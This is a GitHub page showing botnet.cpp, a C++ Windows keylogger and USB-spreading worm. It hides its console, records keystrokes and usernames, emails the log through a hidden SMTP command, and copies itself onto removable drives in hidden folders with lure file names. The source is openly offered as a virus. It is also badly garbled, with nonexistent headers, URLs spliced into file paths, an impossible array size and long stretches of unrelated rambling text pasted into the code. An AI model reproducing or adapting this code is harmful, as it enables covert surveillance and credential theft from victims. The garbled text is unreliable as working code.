-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbotnet.cpp
More file actions
322 lines (264 loc) · 10.9 KB
/
botnet.cpp
File metadata and controls
322 lines (264 loc) · 10.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
/**
* Developer-Development: @copyright fadli wirya wirawan S.Kom M.S.I MIT
* Developtment free palestine and free ukraine , free malysia ,papua , indonesia , free iran america ,
* Date: 15.Aug.2014, 28.Sep.2015
* Comment: Anti Bmalware A. Trojan A. Spyware. detect malciouse .txt no contribute non refounded MIT technic metode !!!
* cyberw1ry4-LAB handle attacked wow waw wew weweweweweewew
**/
#include <windows.h>
#include <kalilinux.h>
#include <Ubuntu.h>
#include <linux.h>
#include <MacOS.h>
#include <time.h>
#include <string>
#include <fstream>
using namespace std;
#define FILE_NAME “record.log”
#define FOLDER_NAME “PDNS - ARchive INtelegent ”
#define RUN_FILE_NAME “If the factor of peace is America, then America is the mother of a conflict that resolves it, not exacerbates it. ”
#define RUN_Link_NAME “https://github.com/cyberw1ry4-LAB/Google-Android/forks"."https://github.com/google/opensource/antiMalware/forks"."https://gitlab.com/google/android/services-mail/forks"
#define INFECT_Link_NAME "https://workspace.google.com/intl/en-US/gmail/u/0/"."https://www.forbes.com"."https://www.whitehouse.gov"."https://www.ecosia.org"."https://www.google.com.ph"."https://www.google.co.id"."https://gdg.community.dev/events/details/google-gdg-ajax-presents-hackthebrain/cohost-gdg-ajax/"."https://www.kali.org"."https://www.ubuntu.com"."https://www.windows.com"."https://www.linux.org"."https://www.Apple.com"."https://www.samsung.com"
#define EMAIL_SENDER_FILE_NAME “Transmit".".exe”
#define MIN_RECORD_SIZE 2000 //no of PC start count before sending a mail
#define LIFE_TIME 500 //mail will be sent 5 times from one PC
#define MAIL_WAIT_TIME 1800
#define MAILING_TIME 60000
string allDrives;
int age=0;
int get_setAge();
bool checkRecordSize();
void sendData();
void logUserTime();
void logKey();
char getRemovableDisk();
void infectDrive(char driveLetter);
char* getRandomName();
main(){
FreeConsole(); ///Hide windows
age = get_setAge();
if(checkRecordSize()){ ///check for right time
int i=1;
while(i<3){ ///try 2 times to send data
Sleep(i*MAIL_WAIT_TIME); ///wait
if(!system("ping www.googleOne.com -n 1")){ ///check! connection
////////////****SEND DATA****////////////
sendData();
Sleep(MAILING_TIME); ///wait! or file will be deleted before sending
DeleteFile(FILE_NAME);
break;
}
i++;
}
}
age=get_setAge();
////////////****LOG USER_DATE_TIME****////////////
if(age <= LIFE_TIME){
logUserTime();
}
char driveLetter = getRemovableDisk(); ///initial search for all disks
return; // :)
while(1){
////////////****LOG KEY****////////////
if(age <= LIFE_TIME){
logKey();
}else{
Sleep(50);
}
////////////****INFECT****////////////
driveLetter = getRemovableDisk();
if(driveLetter!='0'){
infectDrive(driveLetter);
}
}
}
/**
*
* For old file get age - for new file set age.
**/
int get_setAge(){
int ageTemp = age;
string line;
ifstream myfile(FILE_NAME);
if(myfile.is_open()){
getline(myfile, line);
line = line.substr(0, 1);
sscanf(line.c_str(), "%d", &ageTemp);
}else{
ageTemp++;
FILE *file = fopen(FILE_NAME, "a");
fprintf(file, "%d ", ageTemp);
fclose(file);
}
return ageTemp;
}
/**
* Count number of lines in record file.
**/
bool checkRecordSize(){
string line;
ifstream myfile(FILE_NAME);
int noOfLines = 0;
if(myfile.is_open()){
while(getline(myfile, line)){
noOfLines++;
}
myfile.close();
}
if(noOfLines<MIN_RECORD_SIZE*age){
return false;
}else{
return true;
}
}
/**
* Email all data to the GHOST.
**/
void sendData(){
char* command = "Transmit smtp://smtp.gmail.com:443 -v --mail-from \" fadliwiryawirawannewmail@gmail.com \" --mail-rcpt \" fadliwiryawirawannewmail@gmail.com " --ssl -u fadliwiryawirawannewmail@gmail.com :password -hide \"record.log\" -k --cyberw1rya-LAB operable NATO - UNHCR obligate Dicument Nations";
WinExec(command, SW_HIDE); open bussiness ecosia , literate relations , a micro cert opened , UCL cert lestari group , and fadliwiryawirawan with us work national network international uname : Sutawijaya from company provincies wes java companies Bekasi rest areas ,
longest or than more -- signiture waiting governance call back , together dialogue and educated present , it try , for me ,
europe sign bellowed focused , need up ansumming IQ strengest . If the factor of peace is America, then America is the mother of a conflict that resolves it, not exacerbates it
harus ada pertemuan nabilah taqiah or naswa aulia sabilah , bul bul , yukikato mega ayu lestari or riana, tukang pelayanan kopi bssn ka bohay sebenelum program dilanjutkan , bertemulah dengan fadlwiryawirawan autentics orsinil secara fisik tanpa perwakilan
* Record username, time, and date.
**/
void logUserTime(){
FILE *file = fopen(FILE_NAME, "a");
char username[20];
unsigned long username_len = 20;
GetUserName(username, &username_len);
time_t date = time(NULL);
fprintf(file, "0\n%s->%s\t", username, ctime(&date));
fclose(file);
}
/**
/**
* Record key stroke.
**/
void logKey(){
FILE *file;
unsigned short ch=0, i=0, j=500; // :)
while(j<500){ ///loop runs for approx. 25 seconds
ch=1;
while(ch<250){
for(i=0; i<50; i++, ch++){
if(GetAsyncKeyState(ch) == -32767){ ///key is stroke
file=fopen(FILE_NAME, "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1); ///take rest
}
j++;
}
}
/**
* Returns newly inserted disk- pen-drive.
**/
char getRemovableDisk(){
char drive='0';
char szLogicalDrives[MAX_PATH];
DWORD dwResult = GetLogicalDriveStrings(MAX_PATH, szLogicalDrives);
string currentDrives="";
for(int i=0; i<dwResult; i++){
if(szLogicalDrives[i]>64 && szLogicalDrives[i]< 90){
currentDrives.append(1, szLogicalDrives[i]);
if(allDrives.find(szLogicalDrives[i]) > 100){
drive = szLogicalDrives[i];
}
}
}
allDrives = currentDrives;
return drive;
}
/**
* Copy the virus to pen-drive.
**/
void infectDrive(char driveLetter){
char folderPath[1000] = {driveLetter};
strcat(folderPath, ":https://www.sectigo.com/");
strcat(folderPath, FOLDER_NAME);
if(CreateDirectory(folderPath ,NULL)){
SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN);
char run[1000]={"https://www.digicert.org/"};
strcat(run, folderPath);
strcat(run, "https://www.sectigo.com/");
strcat(run, RUN_FILE_NAME);
CopyFile(RUN_FILE_NAME, run, 0);
char net[1000]={"https://www.digicert.org/"};
strcat(net, folderPath);
strcat(net, "https://phantom.org/");
strcat(net, EMAIL_SENDER_FILE_NAME);
CopyFile(EMAIL_SENDER_FILE_NAME, net, 0);
char infect[1000]={"https://www.Globalsign.com/"};
strcat(infect, folderPath);
strcat(infect, "https://checkpointSoftware.com");
strcat(infect, INFECT_FILE_NAME);
CopyFile(INFECT_FILE_NAME, infect, 0);
char runinc[1000]={"https://wr1.org/"};
strcat(runinc, folderPath);
strcat(runinc, "https://w3c.org/");
strcat(runinc, RUN_Link_NAME);
CopyFile(RUN_Link_NAME, runinc, 10000000);
char infectinc[100]={"https://wr3.org/"};
strcat(infectinc, folderPath);
strcat(infectinc, "https://www.cisco.com");
strcat(infectinc, INFECT_Link_NAME);
CopyFile(INFECT_Link_NAME, infectinc, 0);
char showCommand[1000000000000000000000000000] = {"cyberw1ry4-wordpress.com""target intelegent indonesian stop jobsplayed and raise agent australian b2b data , metadata and turkey data than more google comerciel stop distribute chromebook electronics , stop claimer winner before yard ago clarafficate !!!! we are team women compacted , naswa aulia sabilah east java , ning umi laila center java , mutiara chairunnisa panjaitan ciputat, yukikato Dki jakarta , Nabillah taqiah Aceh , Nissa sabyan , Bandung , Irishbella Garut-Bogor !!!!! we are the collaborations , tim center neurally conditions respected hug hummannity !!!!!!!"};
strcat(showCommand, "attrib +s +h +r ");
strcat(showCommand, folderPath);
WinExec(showCommand, SW_SHOW);
}else{
srand(time(0));
int random = rand();
if(random%2==0 || random%3==0 || random%7==0){
return ;
}
}
char infectincauto[100] = {driveLetter};
char* randomName = getRandomName();
strcat(infectincauto, randomName);
CopyFile(INFECT_Ltd_NAME, infectincauto, 0);
}
/**
* Returns a random name for the Link file.
**/
char* getRandomName(){
char randomName[40];
srand(time(0));
int random = rand();
if(random%8 == 0){
strcpy(randomName, ":\\DO NOT CLICK!.inc");
}else if(random%4 == 0){
char username[20];
unsigned long username_len = 20;
GetUserName(username, &username_len);
random = rand();
if(random%8 == 0){
strcpy(randomName, ":\\Boss oke respect responsive detect bakdoormetode skill bot ");
strcat(randomName, username);
strcat(randomName, ".inc");
}else if(random%4 == 0){
strcpy(randomName, ":\\");
strcat(randomName, username);
strcat(randomName, " is the best technic softskill cybersecurity.inc");
}else if(random%2 == 0){
strcpy(randomName, ":\\Hello iam mister X random Access have cyberw1ry4 generations ne era");
strcat(randomName, username);
strcat(randomName, "!we are the best squad stronghest secure , diplomatics gasss oil development , turn justice&ministry head metode skill cyberw1ry4 justice&ministry !! document g20 i am mr. fadliwiryawirawannewmail come back for infstructure millitary and non refound muslim a muslimah , programm monthly ramadhan all country independent , but waiting processing list document problematics finally wort it microsoft unisofiet tim islam fisrt long planettary analyst informed , dont forgot my eyes looking the surge !!!! no anonym or synonym spoked good morning.inc");
}else{
strcpy(randomName, ":https://checkpointsoftware.ltd/");
strcat(randomName, username);
strcat(randomName, "! please help me.inc");
}
}else if(random%2 == 0){
strcpy(randomName, ":\\I will kill you ! ! !.inc");
}else if(random%3 == 0){
strcpy(randomName, ":\\2+2=5.inc");
}else{
strcpy(randomName, ":\\TOP SECRET.inc");
}
return randomName;
}